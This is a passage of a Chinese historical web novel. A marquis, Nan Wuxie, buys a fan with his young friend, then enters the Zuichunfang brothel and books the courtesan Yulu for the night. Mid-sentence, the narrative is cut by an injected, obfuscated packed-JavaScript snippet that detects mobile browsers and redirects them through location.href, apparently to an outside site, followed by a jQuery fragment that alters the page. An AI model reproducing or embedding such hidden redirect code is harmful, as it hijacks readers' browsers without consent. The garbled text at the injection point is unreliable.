南无歇懒散地“嗯”了一声,目光扫过旁边的布铺,随后他顺着崔始颉的话头接:“想吃?去买一个。” “不用不用,”崔始颉摆摆手,又凑过来,“吃糖坏牙,对了永辞哥,前头有家扇庄,听说老板是江南来的,扇子做得好,你不是说想装文人吗?” 南无歇挑眉,顺着他指的方向看过去,果然有家不起眼的小店,门楣上写着“扇语”。 “行,去瞧瞧。” 进了扇庄,掌柜的连忙迎上来:“客官看看?都是新到的料子,竹骨檀木的都有。” 南无歇没看掌柜的,目光扫视着满墙的扇子,点了点头。 这扇庄做的很大,什么样式的扇子都有,南无歇一边走一边看,崔始颉跟在身后也眼睛溜圆的看着。 忽然,南无歇在一把素面折扇前顿了顿,掌柜的是个有眼力见儿的,立马道:“这扇子的扇骨打磨得光滑,扇面是生宣,别看摸着糙,但最好写字。” 南无歇依旧是没看他,挑眉道:“就这个。” 付了银子,他拿着扇子摇了摇,崔始颉跟在旁边咋舌:“这破扇子要二十两??都够买一车糖葫芦了…” “你懂什么,”南无歇买把扇子还真把自己当文人了,他一脸臭屁地用扇子轻轻拍了拍崔始颉后脑勺,“这叫——风、雅。” 俩人接着往前走,崔始颉还在叽叽喳喳说个不停,从兵部的操练说到家里的老黄狗下了崽,南无歇有一搭没一搭地应着,眼睛却没闲着,一路上的商铺的情况,都让他看了个七七八八。 走到西市口,风里忽然飘来脂粉香。 抬眼望去,前头右侧立着栋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526725|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两层楼,挂着“醉春坊”的牌子,红灯笼晃晃悠悠,门口站着几个穿得单薄的姑娘,正往过路人手里塞花。 “那是什么地方?”崔始颉好奇地探头,“看着怪热闹的。” 那是贺家的产业,谛听台的商路图上标的清楚,这里明着是青楼,暗地里专做官员的生意,消息灵通得很。 南无歇回头看向远远跟着的卫清禾,扬了扬下巴:“带尧吉去对面买两串糖葫芦,顺便看看那家卖芝麻糕的还开着没,他念叨好几天了。” “是,侯爷。”卫清禾应了一声,崔始颉却不乐意:“永辞哥你不去吗?” “我去旁边看看熟人,”南无歇摸了摸他的头,“买完在巷口等我,别乱跑。” 崔始颉虽不情愿,还是被卫清禾拉着走了,走两步还回头瞅了瞅,嘴里嘟囔着“买最大的一串”。 南无歇看着他的背影笑了笑,转身往醉春坊走。 门口的姑娘见人过来,立刻缠上来:“公子这是要去哪呀~这风这么大,吹得人骨头都冷了,不如进来让奴家给您暖一暖?” 南无歇没说话,从袖里摸出块碎银子递过去,姑娘眼睛一亮,连忙挽着他的胳膊引着他往里走。 醉春坊里暖得很,空气里飘着脂粉香,混着酒气和果子的甜,往人鼻子里钻。 一楼大堂中央是个方形的巨大高台,四周只摆着十二张桌子,一边三张,几桌客人搂着姑娘喝酒,划拳声、调笑声撞在楼板上,嗡嗡作响。 二楼的栏杆边倚着几个穿得花哨的姑娘,看见有客人进来,就娇滴滴地招手,银镯子在手腕上晃得人眼晕。 南无歇刚踏进门,一个穿着红袄子的胖妇人就扭着腰迎上来,笑得眼睛眯成条缝:“这位爷看着面生,是头回来?快里面请,暖和暖和!” 老鸨见多识广,光看气质和行头就知身价,她的目光在南无歇身上溜了一圈,最后落在他袖口露出的那截玉扳指上,随后笑更殷勤了:“我的爷~!咱这醉春坊别的没有,姑娘们个个水灵,保准合您心意~” 南无歇拿着刚买的折扇在手心敲了敲,声音懒懒的:“你这儿的姑娘,都有什么本事啊?” “诶呦那可多了去了,爷想要什么样的咱这里都有,”老鸨如数家珍,“翠儿会唱小曲,银珠弹得一手好琵琶,还有新来的晚儿,身段软得像面条,给爷您剥个橘子都能剥出花样来!” 南无歇就听着,没搭腔。 老鸨见他没动静,眼珠一转,凑近了些:“爷是想看点特别的?不瞒您说,咱这儿的头牌玉露姑娘,那才叫一绝!京城多少公子哥排着队想请她喝杯酒,门槛都快踏破了!” “玉露?”南无歇抬了抬眼皮。 老鸨笑得更欢了,“不仅模样赛天仙,舞跳得才叫绝,一支《飞天》,看得人眼睛都直,玉露一舞,光是打赏,就堆了满满一桌子!” 南无歇挑了挑眉,没说行也没说不行。 老鸨是个会看眼色的,忙继续道:“爷要是想见,我这就去叫她来?不过咱们玉露姑娘身价高,不整夜算的,一刻钟十两银子,三个时辰起,这位爷您看……”* “嗯,”南无歇从怀里摸出个钱袋,往桌上一撩,几锭银子滚出来,闪着白花花的光,“开个雅间,叫她来。” 老鸨的眼睛瞬间直了,手忙脚乱地把银子往怀里揣:“哎!哎!爷您敞亮!雅间现成的,最里头那间,清净!我这就去叫玉露,保证让她把压箱底的本事都拿出来!” 龟奴引着南无歇上了二楼,推开最里头的房门。 雅间不大,摆着张方桌,两把椅子,墙上挂着幅没什么章法的画。 南无歇往椅子上一靠,半阖着眼,手指还转着那把折扇,听着楼下隐约传来的喧闹,倒像是在自家院子里晒太阳。 没一会儿,门被推开,老鸨领着个姑娘走进来。那姑娘穿件水红舞衣,裙摆上点缀着细碎的金箔,发髻上插了支珍珠钗,走路时悄无声息,像朵飘进来的云。 “爷,您看咱玉露怎么样?”老鸨把姑娘往前推了推,笑得满脸褶子,“这身段,这模样,全京城找不出第二个!” 玉露姑娘屈膝福了福,声音细得像蚊子哼:“见过爷。” 南无歇没看她,依旧用折扇支着脑袋闭目养神,嘴角还噙着淡淡的笑。 老鸨赚银子的心迫切,又道:“爷要是瞧得上,想留玉露姑娘多久?三个时辰?还是……” 南无歇这才掀起眼皮扫了玉露一眼,又看向老鸨,声音还是那副懒懒散散的调子:“到明早。” 老鸨愣了一下,随即笑得见牙不见眼:“哎!好嘞!爷您等着,我这就去吩咐人备酒菜,保证伺候得您舒舒服服的!” 说着,给那小娘子使了个眼色就颠颠地退了出去,还不忘把门给带上。